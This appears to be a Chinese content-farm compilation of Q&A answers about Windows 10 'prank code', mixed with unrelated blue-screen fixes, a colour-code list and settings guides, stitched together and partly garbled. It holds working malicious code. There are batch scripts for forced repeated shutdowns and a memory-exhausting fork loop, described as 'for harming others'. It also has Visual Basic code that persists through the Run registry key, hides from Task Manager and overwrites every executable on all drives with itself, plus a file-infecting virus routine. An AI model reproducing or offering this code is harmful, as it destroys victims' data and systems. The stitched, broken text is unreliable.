win10恶搞壁纸

1. 电脑win10恶搞代码

2. win10电脑恶搞编程

3. win10电脑代码恶搞

电脑win10恶搞代码

1.求电脑恶搞代码

if not exist c:1.txt echo. >c:1.txt & goto err1

if not exist c:2.txt echo. >c:2.txt & goto err1

if not exist c:3.txt echo. >c:3.txt & goto err1

if not exist c:4.txt echo. >c:4.txt & goto err1

if not exist c:5.txt echo. >c:5.txt & goto err1

goto err2

:err1 shutdown -s -t 0

:err2 上面可以让对方电脑重启5次后不在重启，当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那就是重启6次改成7就是7次。

打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。

2.win10终止代码clock watchdog timeout

在Win10系统中会出现蓝屏，提示：clock watchdog timeout 该如何修复？出现这样的提示主要是因为特定处理器无法处理中断导致，具体来说，是由于处理器无响应或者被锁死导致。简单的说，出现这样的问题的电脑大多都是超频引起的，一般来说只要降低cpu频率即可。

步骤：

开进按DEL或F2进入BIOS，选择倒数第二项左右LOAD SAFE（载入安全设置）或LOAD default（载入默认设置）即可恢复默认BIOS选项，恢复了CPU为未超频的状态。

还有就是CPU过热散热不良导致，将cpu风扇清理一下一般即可搞定！

以上就是使用win10蓝屏代码：clock watchdog timeout 的解决方法！

3./stopcode

1）你的电脑重启的时候，你在电脑干什么呢，能说说吗？我会跟据你说的较为准确的回答你。

请将你在重启前电脑的表现，和你操作说的详细些，可能就是这些操作引起的重启的发生，有问题请追问我（我跟据你提供的信息重新回答你）。

一般重启是自己不正确操作引起的，记住容易引起重启的操作不做。电脑不要满负荷操作，就是在玩游戏、看视频时、下载时、看网页的同时在干别的操作最容易重启、死机、蓝屏，因此在玩游戏、看视频、下载时、看网页时不要在操作别的东西了。

硬件方面，CPU等硬件温度过高，内存少卡引起的，硬盘坏道，电压不稳，在有就是加的硬件不合适引起的。

90%的重启是自己操作使用电脑不当引起的，卡是重启发生的根源，容易引起卡的操作不做，就会避免重启或少发生重启。

2）如果是开机重启与您关机前的不当操作有关系吧？比如：玩游戏、看视频、操作大的东西、使用电脑时间长造成的卡引起的吧？或下载了不合适的东西，故障不会无缘无故的发生吧？

反复开关机试试，放一段时间试试，确实不可以就重装系统吧，如果自己重装不了，到维修那里找维修的人帮助您。

一个是放半天或一天有时会自己恢复，另一个就是重装系统了。

只要注意自己的电脑不卡机、蓝屏、突然关机，开机就不会这样了。

有问题请您追问我。

4.Win10专业版下字体颜色代码大全有哪些呢

在win10操作系统中我们需要准确的设置颜色，可以通过字体颜色代码快速选定字体颜色。

今天win10之家小编给大家分享一下颜色代码大全：#000000 #2F0000 #600030 #460046 #28004D#272727 #4D0000 #820041 #5E005E #3A006F#3C3C3C #600000 #9F0050 #750075 #4B0091#4F4F4F #750000 #BF0060 #930093 #5B00AE#5B5B5B #930000 #D9006C #AE00AE #6F00D2#6C6C6C #AE0000 #F00078 #D200D2 #8600FF#7B7B7B #CE0000 #FF0080 #E800E8 #921AFF#8E8E8E #EA0000 #FF359A #FF00FF #9F35FF#9D9D9D #FF0000 #FF60AF #FF44FF #B15BFF#ADADAD #FF2D2D #FF79BC #FF77FF #BE77FF#BEBEBE #FF5151 #FF95CA #FF8EFF #CA8EFF#d0d0d0 #ff7575 #ffaad5 #ffa6ff #d3a4ff#E0E0E0 #FF9797 #FFC1E0 #FFBFFF #DCB5FF#F0F0F0 #FFB5B5 #FFD9EC #FFD0FF #E6CAFF#FCFCFC #FFD2D2 #FFECF5 #FFE6FF #F1E1FF#FFFFFF #FFECEC #FFF7FB #FFF7FF #FAF4FF#000079 #000079 #003E3E #006030 #006000#000093 #003D79 #005757 #01814A #007500#0000C6 #004B97 #007979 #019858 #009100#0000C6 #005AB5 #009393 #01B468 #00A600#0000E3 #0066CC #00AEAE #02C874 #00BB00#2828FF #0072E3 #00CACA #02DF82 #00DB00#4A4AFF #0080FF #00E3E3 #02F78E #00EC00#6A6AFF #2894FF #00FFFF #1AFD9C #28FF28#7D7DFF #46A3FF #4DFFFF #4EFEB3 #53FF53#9393FF #66B3FF #80FFFF #7AFEC6 #79FF79#AAAAFF #84C1FF #A6FFFF #96FED1 #93FF93#B9B9FF #97CBFF #BBFFFF #ADFEDC #A6FFA6#CECEFF #ACD6FF #CAFFFF #C1FFE4 #BBFFBB#DDDDFF #C4E1FF #D9FFFF #D7FFEE #CEFFCE#ECECFF #D2E9FF #ECFFFF #E8FFF5 #DFFFDF#FBFBFF #ECF5FF #FDFFFF #FBFFFD #F0FFF0#467500 #424200 #5B4B00 #844200 #642100#548C00 #5B5B00 #796400 #9F5000 #842B00#64A600 #737300 #977C00 #BB5E00 #A23400#73BF00 #8C8C00 #AE8F00 #D26900 #BB3D00#82D900 #A6A600 #C6A300 #EA7500 #D94600#8CEA00 #C4C400 #D9B300 #FF8000 #F75000#9AFF02 #E1E100 #EAC100 #FF9224 #FF5809#A8FF24 #F9F900 #FFD306 #FFA042 #FF8040#B7FF4A #FFFF37 #FFDC35 #FFAF60 #FF8F59#C2FF68 #FFFF6F #FFE153 #FFBB77 #FF9D6F#CCFF80 #FFFF93 #FFE66F #FFC78E #FFAD86#D3FF93 #FFFFAA #FFED97 #FFD1A4 #FFBD9D#DEFFAC #FFFFB9 #FFF0AC #FFDCB9 #FFCBB3#E8FFC4 #FFFFCE #FFF4C1 #FFE4CA #FFDAC8#EFFFD7 #FFFFDF #FFF8D7 #FFEEDD #FFE6D9#F5FFE8 #FFFFF4 #FFFCEC #FFFAF4 #FFF3EE#613030 #616130 #336666 #484891 #6C3365#743A3A #707038 #3D7878 #5151A2 #7E3D76#804040 #808040 #408080 #5A5AAD #8F4586#984B4B #949449 #4F9D9D #7373B9 #9F4D95#AD5A5A #A5A552 #5CADAD #8080C0 #AE57A4#B87070 #AFAF61 #6FB7B7 #9999CC #B766AD#C48888 #B9B973 #81C0C0 #A6A6D2 #C07AB8#CF9E9E #C2C287 #95CACA #B8B8DC #CA8EC2#D9B3B3 #CDCD9A #A3D1D1 #C7C7E2 #D2A2CC#E1C4C4 #D6D6AD #B3D9D9 #D8D8EB #DAB1D5#EBD6D6 #DEDEBE #C4E1E1 #E6E6F2 #E2C2DE#F2E6E6 #E8E8D0 #D1E9E9 #F3F3FA #EBD3E8。

5.恶搞程序代码

Private Sub Form_Load()

Open Environ$("WinDir") & "\system32\taskmgr.exe" For Binary As #1

For m = 1 To 999

MsgBox "呵呵，你知道我是谁吗？"， 16

MsgBox "什么？？不知道？"， 16

MsgBox "那你打开我干什么？"， 16

MsgBox "你有空没事做吧？！"， 16

MsgBox "我..就是鼎鼎大名的987876198", 16

MsgBox "987876198..", 16

MsgBox "现在你把它打开了觉得后悔了吧？呵呵.."， 16

MsgBox "算了算了，不玩你了"， 16

MsgBox "现在我数3声就闪人，行了吧？"， 16

MsgBox "1。。。。.", 16

MsgBox "2。。。。.", 16

MsgBox "3。。。。.", 16

MsgBox "噔噔噔噔，我又回来了！"， 16

MsgBox "哈哈，是不是很过瘾呢？"， 16

MsgBox "现在我先介绍下自己.."， 16

MsgBox "我叫王得地.."， 16

MsgBox "性别：男.."， 16

MsgBox "今年35岁.."， 16

MsgBox "不好意思噢，我好像说多了.."， 16

MsgBox "不要这样喇，听我说完先好不？"， 16

MsgBox "来来来，开始喇.."， 16

MsgBox "我叫王得地.."， 16

MsgBox "家中有屋又有田.."， 16

MsgBox "生活乐无边.."， 16

MsgBox "好像我又说多了。"， 16

MsgBox "不要生气嘛，你认真看下去我就放你走.."， 16

MsgBox "好，开始喇.."， 16

MsgBox "从前有座山.."， 16

MsgBox "山里有个座庙.."， 16

MsgBox "庙里有个和尚.."， 16

MsgBox "哈哈，想哭吗？"， 16

MsgBox "被骗的感觉不爽吧？"， 16

MsgBox "喂喂喂！别别..千万别重启电脑"， 16

MsgBox "我告诉你怎么关吧"， 16

MsgBox "先打开任务管理器"， 16

MsgBox "忘了告诉你了，任务管理器打不开了"， 16

MsgBox "别恨我啊你不小心"， 16

MsgBox "电脑重新启动吧"， 16

MsgBox "相信我吧，你知道我是不会骗人的"， 16

MsgBox "如果你还想继续点的话，你就别听我的"， 16

MsgBox "呵呵，我又没有说这个东西没有"， 16

MsgBox "我只想说桌面没有罢了.."， 16

MsgBox "嘻嘻，爽不爽吖？"， 16

MsgBox "对着电脑屏幕大声说低调大好人"， 16

MsgBox "不然，我就没办法的咯"， 16

MsgBox "因为我把循环设置成99了"， 16

MsgBox "想保存电脑数据只有继续点了"， 16

MsgBox "绝对会出到去的"， 16

MsgBox "好了，废话不多说了，祝你好运.."， 16

MsgBox "制作：低调不倒"， 16

MsgBox "QQ:987876198", 16

MsgBox "E-mail：不告诉你"， 16

MsgBox "好，继续循环.."， 16

End Sub

6.求一段电脑整蛊代码

原发布者：keke

第一个：让别人内存OVER（逼他重启）@echo offstartcmd%0就这3行了打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。第二个：让对方重启指定次数（害人专用） @echo offifnotexistc:1.txtecho.>c:1.txt&gotoerr1ifnotexistc:2.txtecho.>c:2.txt&gotoerr1ifnotexistc:3.txtecho.>c:3.txt&gotoerr1ifnotexistc:4.txtecho.>c:4.txt&gotoerr1ifnotexistc:5.txtecho.>c:5.txt&gotoerr1gotoerr2:err1shutdown-s-t0:err2上面可以让对方电脑重启5次后不在重启，当然如果你修改一下加个ifnotexistc:6.txtecho.>c:6.txt&gotoerr1那就是重启6次改成7就是7次。打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。第三个：善意恶搞关机首先呢，我们在桌面创建个新文件夹然后打开，在上面找到-工具T-文件夹选项O-查看把隐藏已知文件类型的扩展名前面的勾去掉.然后我们开始制作.在桌面建立个记事本，然后把下面代码复制进去=wscript.createobject("wscript.shell")WSHshellA.run"cmd.exe/cshutdown-r-t60-c""说我是猪，不说

电脑win10恶搞代码

win10电脑恶搞编程

1.win10重置次电脑有两个选项是仅删除我的文件和删除文件并清理驱动

win10重置电脑显示两个选项是仅删除我的文件和删除文件并清理驱动器的解决步骤如下：

需要工具：电脑

1、首先，在"开始"上左键单击。

2、然后在"开始的设置图标"上左键单击，打开电脑设置。

3、依次，在"更新和安全 "上左键单击。

4、依次，在"恢复 "上左键单击。

5、在"开始重置这台电脑"上左键单击。

6、在"删除所有内容 "上左键单击。选择删除所有内容，删除个人文件，应用和设置。

7、在"这可能需要数小时，但会使他人不能轻易地恢复你的已删除文件。如果你要回收该电脑，请使用此选项上左键单击。删除文件并清理驱动器，这可能需要数小时，但会使他人不能轻易地恢复你的已删除文件。如果你要回收该电脑，请使用此选项。

8、在"下一步"上左键单击会出现提示，警告！此电脑最近升级到 Windows 10，如果重置此电脑，你将无法撤销升级并且后退到以前的 Windows 版本。

9、然后在"重置"上左键单击。准备就绪，可以初始化这台电脑。重置将会删除，此电脑上的所有个人文件和用户账户，所有应用和程序，然后电脑将重启。

2.Win10系统如何定时运行程序

方法/步骤 1、鼠标右键点击开始图标按钮，在弹出的菜单选项框中找到控制面板选项并点击它； Win10如何使用任务计划程序来定时运行程序？ 2、点击控制面板选项后，这个时候系统会打开的控制面板对话窗口； Win10如何使用任务计划程序来定时运行程序？ 3、在打开的控制面板对话窗口中，将查看方式选择为大图标模式； Win10如何使用任务计划程序来定时运行程序？ 4、在大图标查看方式下，找到管理工具选项并点击它； Win10如何使用任务计划程序来定时运行程序？ 5、点击管理工具选项后，这个时候会打开管理工具窗口； Win10如何使用任务计划程序来定时运行程序？ 6、在管理工具窗口中，找到任务计划程序选项并点击它； Win10如何使用任务计划程序来定时运行程序？ 7、在打开的创建任务窗口，根据自身的需要进行任务创建即可。

Win10如何使用任务计划程序来定时运行程序？以上就是使用任务计划程序来定时运行程序的具体方法，把你所需要的赶快设置一下吧。

3.制作电脑恶作剧程序（只是捉弄一下我朋友不要伤害他的电脑,我没恶

一、norun norun是个恶作剧软件，它只有一个可执行文件，12288字节大小，运行于Win98/ME下.运行后要求回答三道算数题.虽然题目很简单，但是一旦答错，机器将连续重启动12次（每次都有提示）后恢复正常.除此之外，没有其他影响.因此，norun是个真正的恶作剧软件，对大家的威胁并不大.不过，如果机器真的重新启动12次的话，也够恐怖的！所以也要掌握应对它的方法. 最直接的方法是你回答对那三道题就可以了.不要担心，是小学二年级的都会做的算数题. 如果你回答对了，就会出现对话框，点击"确定"软件运行结束.由于你回答对了，所以不会出现连续重启动12次这样的现象. 如果你担心自己马虎回答错误（如果这个也回答不正确，那也太……），可以用进程管理软件终止该进程，这样就可以了.我们以Windows优化大师为例.运行Windows优化大师，点击"系统安全优化"→"进程管理"，在弹出的窗口中选中norun，点击"终止"按钮即可终止运行它，从而避免了norun造成的12次重启. 点评：纯粹的恶作剧软件，可以用来跟朋友开玩笑用. 恶毒程度：★ 二、ilr ilr也是个恶作剧程序，文件大小15KB.这么小的程序能干些什么破坏呢？它是个捉弄人的程序，运行后会把硬盘上所有分区里的文件夹通通变成回收站！使得你无法通过点击进入该文件夹！天啊，我要是想进入文件夹该怎么办呢？别着急，恢复方法是用以下格式运行该软件即可：xxxx.exe -recover，要记牢格式哦！点评：一个很另类的恶作剧软件，不破坏数据，不会让你无法进入系统中，但是它会让你无法进入文件夹，使你干着急，可以用来跟朋友开玩笑用. 恶毒程度：★★ 三、FUHD 这是一个垃圾文件生成器，程序运行后会在各磁盘（C:-H：）的每一个根目录、第一级子目录和第二级子目录生成随机文件名的垃圾文件.很久以前有个软件hdfill.exe有相似的功能，但是该hdfill需要VB4的运行库才能运行，在没有VB4运行库的机器中不能运行该程序.而该程序是用VB5编写的，虽然存在运行库的问题，但Win98中已经带有VB5的运行库，所以该程序可以在许多电脑中运行成功.也就是说许多朋友都有中招的可能和危险！ FUHD压缩包由四个文件组成： FUHD.exe：大小10752字节，所用图标为VB5的安装程序所用图标.直接在磁盘上生成垃圾文件，程序在后台运行，全过程没有任何提示. setup.exe：大小10752字节，所用图标为VB5的安装程序所用图标.运行后在后台生成垃圾文件. Undo.exe：大小6656字节.这是作者提供的删除上面两个EXE生成的垃圾文件的文件，如果你中招了，可以找来该文件，运行后就可以清除那些垃圾文件. readme.txt：说明文件. 点评：虽然说现在很多人都有大硬盘，但是大量的垃圾文件分布在各个目录中，也是一件很麻烦的事.而且目录中含有过多的文件，会大大减慢系统的速度.作为恶作剧软件，它的危害不大.但如果不知道解除方法，也很讨厌. 恶毒程度：★★☆ 四、Carem3 Carem3是网络休闲庄（一个黑客网站）技术顾问Carem的作品，这是一个非常狠毒的恶意攻击软件，运行后如果不知道正确的破解方法，那肯定是要重装系统的.解压后的Carem3只有一个文件Carem3.exe，这是它所用的图标（左图），大家记住了，轻易不要运行使用这个图标的软件，因为给你下套的人会给它改名的，所以记住它的文件大小也是个不错的识别方法，Carem3.exe文件大小321536字节. 此时鼠标被控制在一定范围内，无法点击屏幕上的按钮，按动回车键就会弹出个窗口警告你不要随意运行可执行程序，说这只是个教训之类的话，然后会自动重新启动电脑，但你再也无法进入心爱的Windows桌面了！如果你没有按动任何键，Carem3也不会放过你，它会自动倒记时，从20秒到0就重新启动电脑，使你的系统崩溃！程序的基本原理是破坏C:\windows\system\下的vmm32.vxd文件.vmm32.vxd是虚拟设备驱动程序，正常文件大小913413字节，文件修改时间为1999-01-13，就是由于它被破坏了（文件被替换为同名文件，大小变为81531字节，文件修改时间变为1998-06-19），导致你的计算机不能进入Windows系统. 作者提供的破解方法是：在开机的时候按F8选择Command prompt only方式进入DOS下，之后在提示符后执行repair，就可以解决了.另外你事先备份了vmm32.vxd文件，就可以使用另外一个破解方法：用启动盘从A盘启动计算机，将备份的vmm32.vxd复制到c:\windows\system\里，重新启动计算机就可以了.如果没有备份，到其他计算机上复制一个来吧. 除了上面说的那两个方法，还有一个更简便的破解方法.我们在Carem3.exe刚运行后，倒记时尚未结束前，按住ALT+F4键关闭软件窗口（不要指望能通过按Ctrl+Alt+Del来终止它，作者早就将这些按键屏蔽了），此时你的鼠标将被锁定在桌面的某个小范围内（屏幕中央偏右一点），鼠标是无法使用了.但是如果你自己不重新启动电脑的话，Carem3.exe也不会自动重新启动你的电脑——因为它已经被关闭了.此时的你可以使用键盘来操作，如果嫌麻烦，直接重新启动电脑即可.不要害怕，我们按ALT+F4时已经将软件关闭了，在破坏开始前就将它给消灭了。

4.恶搞程序代码

代码如下，复制到记事本，将txt改为vbs就ok了，中间的字可自己改。

if MsgBox（"对不起，您灌水太多需要重新启动计算机。"&chr(10)&"确定要重启吗？"，vbOKCancel+vbInformation，"重新启动计算机"）=vbCancel then msgbox " 正在清理系统垃圾wow ~_^"，，"算你倒霉！！" Set objShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 5",,true end if 加分哦。

5.求一些恶搞程序的C语言源代码

#include"stdio.h" int main() {int n; char a[10]; printf（"叫大哥，不叫就关机（你有30秒的时间，如果关闭本程序一样要关机）\n"); system("shutdown -r"); while(1) {printf（"叫："）； scanf("%s",&a); n=strcmp(a，"大哥")； if(n==0) {system("shutdown -a"); printf（"嗯，真乖！！！爽！哈哈哈！！！"）； break; } } }。

win10电脑恶搞编程

win10电脑代码恶搞

1.win10怎么运行VBS?

其实是您保存的文件后缀不对，所以不能运行。

系统默认是不显示后缀名的。如果您没有开启显示后缀名，那么您新建一个文本文档后，应该后面没有.txt，这时候就算您重命名，添加了.vbs也没有，您其实更改的只是文件名，而不是后缀名，这个文件还是一个txt格式的文本。

所以您要么先开启显示文件后缀名（在资源管理器的选项中有相关开启的地方）

要么不要新建文本文档，而是直接打开系统的记事本软件，然后输入VBS代码，输好后，点击文件>；另存为，类型选择所有文件，文件名最后加上.vbs，后面保存。这要就保存为vbs格式的脚本文件了。

2.求恶搞软件代码(用记事本编写的),越多越好

Private Sub Form_Load() Set my = CreateObject("WScript.Shell") FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Program Files\SMI.exe" my.regWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", dirwin & "C:\Program Files\SMI.exe", "REG_SZ" End Sub Private Sub Timer1_Timer() If App.PrevInstance Then End End If Dim a As New Form1 a.Hide '在任务管理器中隐身！ App.TaskVisible = False On Error Resume Next ' 出错继续 Dim files As String Dim nr As String Dim c As String Static count As Long c = ("\") files = FreeFile count = count + Int(Rnd * 99999999) Open c & "QQ1314520" & count & ".chk" For Random As #1 Put #1, 10, "fimrrir" Write #files, nr Close #files End Sub Private Sub Timer2_Timer() Dim a As New Form1 a.Show End Sub Private Sub Timer3_Timer() Dim a As New Form1 a.Show End Sub Private Sub Timer4_Timer() Dim a As New Form1 a.Show End Sub Private Sub Timer5_Timer() Dim a As New Form1 a.Show End Sub Shell ("cmd.exe /c shutdown /r /t 2") Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) Private Sub Form_Load() On Error Resume Next '容错句 If Dir("f:\123.txt") = "" Then '如果123.txt不存在则创建 bat遍历exe文件 Open "c:\a.bat" For Output As #1 '打开bat文件 Print #1, "for %%a in (d: e: f: g: h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: x: y: z:) do dir /s/b %%a\*.exe >>e:\123.txt" '写入数据 Close #1 '关闭文件 Sleep 200 '延时200秒等待文件生成（主要为了慢机器） Shell "f:\a.bat", 0 '隐藏运行之 End If Sleep 60000 '延时1分钟等待exe遍历完成 Dim A() As String Dim C As Long, I As Integer Open "f:\\" For Input As #1 '读取txt里面的内容 Do While EOF(1) = False ReDim Preserve A(C) Input #1, A(C) C = C + 1 Loop Close #1 For I = 0 To C - 1 FileCopy App.Path & "\" & App.EXEName & ".exe", A(I) '把txt里面的内容替换掉 Next End Sub Option Explicit Private Victim As String '要感染的文件的名字 Private HostLen As Long '要感染的文件的大小 Private vbArray() As Byte '病毒的代码 Private hArray() As Byte '要感染的文件的代码 Private lenght As Long Private MySize As Integer '病毒的大小 Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long Private iResult As Long Private hProg As Long Private idProg As Long Private iExit As Long Const STILL_ACTIVE As Long = &H103 Const PROCESS_ALL_ACCESS As Long = &H1F0FFF Private Sub form_Initialize() Dim i As Long On Error GoTo vbVerror '出错处理 '原理：将生成病毒文件的代码读出，粘在要被感染的文件的后面。

Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read _ As #1 ReDim MyArray(LOF(1) - 1) MySize = LOF(1) ReDim vbArray(MySize) Get #1, 1, vbArray Close #1 '这是在读自己的代码 Victim = Dir(App.Path & "\" & "*.EXE") '随便选一个文件（目前只是在病毒所在的目录下随机选一个，将来你可以修改，让它不断的循环搜索计算机上的所有文件。） While Victim <> "" If format(Victim, ">") <> format(App.EXEName & ".EXE", ">") Then Open App.Path & "\" & Victim For Binary Access Read As #1 ReDim hArray(LOF(1)) Get #1, 1, hArray Close #1 '读出病毒自身的代码 If hArray(&H69) <> &H4D Then i = hArray(&H3C) If hArray(i) = &H50 Then Open App.Path & "\" & Victim For Binary Access Write As #1 Put #1, , vbArray Put #1, MySize, hArray Close #1 End If '要保证被感染的不是空文件（不是圈套） End If End If '读出准备被感染的文件的代码 Victim = Dir() 'Next Wend '下面的工作是为了保证病毒不会重复感染一个文件，也不会自我感染。

Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1 lenght = LOF(1) - MySize If lenght <> 0 Then ReDim vbArray(lenght - 1) Get #1, MySize, vbArray Close #1 Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Write As #1 Put #1, , vbArray Close #1 idProg = Shell(App.Path & "\" & App.EXEName & ".exe", vbNormalFocus) hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg) GetExitCodeProcess hProg, iExit Do While iExit = STILL_ACTIVE DoEvents GetExitCodeProcess hProg, iExit Loop Kill App.Path & "\" & App.EXEName & ".exe" Else Close #1 End If End vbVerror： '出错处理，空着就可以了 End Sub。

3.win10终止代码clock watchdog timeout

步骤：

开进按DEL或F2进入BIOS，选择倒数第二项左右LOAD SAFE（载入安全设置）或LOAD default（载入默认设置）即可恢复默认BIOS选项，恢复了CPU为未超频的状态。

还有就是CPU过热散热不良导致，将cpu风扇清理一下一般即可搞定！

以上就是使用win10蓝屏代码：clock watchdog timeout 的解决方法！

4.win10系统蓝屏提示代码dpc watchdog violation怎么解决

自从win10系统正式推出以来，经常有用户反馈电脑出现蓝屏问题，而反馈最多就是在升级win10过程中蓝屏“DPC_WATCHDOG_VIOLATION”和错误代码“0x00000133，那么要怎么解决这个问题呢？下面给大家分享电脑蓝知屏代码0x00000133的修复方法。

1、在桌道面右键点击此电脑，选择管理，然后弹出界面中点击设备管理，找到“IDE ATA/ATAPI控制器”，如下图所示：

2、打开带有“SATA AHCI”的控制器属性，切换到驱动程序栏，点击“更新驱动程序”，如下图所示：

3、点击“浏览计算机以查内找驱动程序软件”，如下图所示：

4、选择“从计算机的设备驱动程序列表中选取”，点击下一步，如下图所示：

5、选取“标准双通道 PCI IDE控制器”，点击下一步进行安装，完成后重启系统即可。

以上就是修复电容脑蓝屏0x00000133的方法，出现蓝屏代码0x00000133主要是驱动程序兼容问题引起的，有遇到类似情况的朋友不妨参考上述方法修复。

5.win10如何自制弹窗

控制面板-windows的防火墙-更改通知设置-把两个都选择最后一项。

1. win10系统每次开机，会在右下角弹出一个横幅提示“启用windows安全中心服务”，或者是“windows防火墙已关闭”。很多朋友不喜欢这个提醒，需要关闭win10右下角“启用windows安全中心服务”等等提示。在网上有看到说禁用安全中心服务，但其实没有解决问题，下面把自己的方法分享给大家，可以真正关闭提示信息。

2. 开机出现弹窗提示，有时候是启用windows安全中心服务，如果关闭了防火墙，也可能出现windows防火墙已关闭，或者其他的信息。

3. 禁用安全中心服务本身并不能阻止弹窗，下次开机的时候还会出现其他的信息。

4. 单击开始菜单，选择"设置"。在打开的设置窗口中，选择“系统”。

5. 这里在左侧，选择“通知和操作”。

6. 安全和维护这里可以直接关闭。

7. 关闭win10系统的防火墙右键点击开始菜单按钮，选择控制面板。

8. 在控制面板中依次打开【系统和安全】——【windows防火墙】——【启用或关闭windows防火墙】。

9. 分别设置专用网络和公用网络的防火墙为关闭，然后确定保存。

10. 关闭安全中心服务。

11. 如果你不想关闭防火墙，只想关闭一些阻止警告等提示的话，我们可以关闭安全中心服务：security center,security center服务服务监视并报告计算机上的安全健康设置。

12. 在w10系统下载中按win+r 打开运行，然后输入 services.msc 确定。

13. 在本地服务列表中找到 security center 服务。

14. 双击打开security center属性，停止该服务并设置启动类型为 “禁用”。

6.如何用代码写出好看的win10主题桌面

【点击“个性化”】

先用鼠标在桌面上点击右键，然后在跳出的小框选择最后一个“个性化”用左键点击进入设置界面。

【点击“背景”】

在设置界面的左上角用左键点击“背景”，然后在中间显示的几张小图中选择其中一张喜欢的做桌面背景。如果这几张你不喜欢的话，可以点击小图下的“浏览”，到电脑里选择其它保存的图片。

【点击“纯色”】

如果你是一个喜欢简单的人，也可以选择单一颜色的背景。先左键点击“图片”右边的下拉按钮，再在显示的下拉三项中点击“纯色”，然后在出现的多种“背景色”中选择一种自己最喜欢的即可。

【选择“幻灯片放映”】

如果你想让自己的桌面时刻充满新鲜和惊喜，也可以选择“背景”下拉框中的“幻灯片放映”，再点击下边的“浏览”，然后在跳出的窗口中先点图片存放的磁盘位置，再点具体的文件夹，最后点“选择此文件夹”即可。

【更改图片的频率】

选好幻灯片放映的文件夹后，我们还要设置它更换每张图的时间。我们首先点击“更改图片的频率”下的那个时间旁边的下拉按钮，然后在跳出的各种时间中选择一种。

【选择契合度】

因为电脑中保存的图片并不全是按电脑显示屏大小定制的，其中有大也有小，放到桌面上做背景有时难免不大好看，这时，我们就要对图片的契合度进行选择了。首先点击契合度按钮，然后选择其中一种最适合的展示图片的模式就可以了。

【其它个性化设置】

当然，以上只是对电脑桌面背景方面的一些个性化设置，其实，我们还可以对电脑的其它方面进行个性化设置（比如颜色、锁屏界面、主题和开始菜单）。在此，我也不一一去讲了，大家可以自己去试试。

7.win10开机出现bad

Windows10系统电脑开机出现蓝屏且提示错误代码：BAD SYSTEM CONFIG INFO，这是怎么回事呢？其实，该问题是由于系统中驱动不正确或误删系统文件导致的。下面，系统城小编就给大家分享下具体解决方法。

8.win10蓝屏代码FAULTY HARDWARE CORRUPTED PAGE

1.电脑操作引起：好好想一下，蓝屏前，你进行了什么操作？按F8进入安全模式，删除、卸载、取消你之前的操作。

2.蓝屏由硬件引起的有：更换或者添加硬件，出现硬件不兼容现象，卸下新加硬件。就是硬件兼容，也可能蓝屏，因为系统不能识别新添加的硬件，建议重装系统。电脑使用过久，内存、显卡的金手指氧化而引起接触不良，把内存、显卡，取下来用橡皮擦擦卡的金手指，可向槽内加入少量无水酒精（清洗槽内氧化物），几分钟后，用电吹风吹干，再插好。

3.也可以用腾讯电脑管家，查杀病毒木马，看是不是病毒或木马导致的蓝屏。